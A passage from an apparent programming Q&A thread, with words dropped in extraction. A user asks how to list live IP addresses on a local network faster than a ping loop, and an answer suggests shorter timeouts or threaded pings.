i trying print live ips connected network in fastest way. tried ping in loop, slow: def pingtry(host): ping = subprocess.popen(["ping", host], stdout = subprocess.pipe, stderr = subprocess.pipe) out, error = ping.communicate() print out #this show me ping result, can check content , see if host replyed or not as said, slow (i need 255 times). i tried connect using tcp connection port 80: import socket ip = '192.168.1.100' port = 80 tcpsoc = socket(af_inet, sock_stream) tcpsoc.listen(somaxconn) try: tcpsoc.bind(addr) except exception,ex: print "host down!" but still, doesn't work ip, although working router ip is there way getting live ips faster? ping appropriate way ask machine if has claimed ip address. slow because (depending on platform) ping timeout second. can speed reducing timeout or using threading module send multiple pings @ same time. you implement ping in python directly: pinging servers in pyt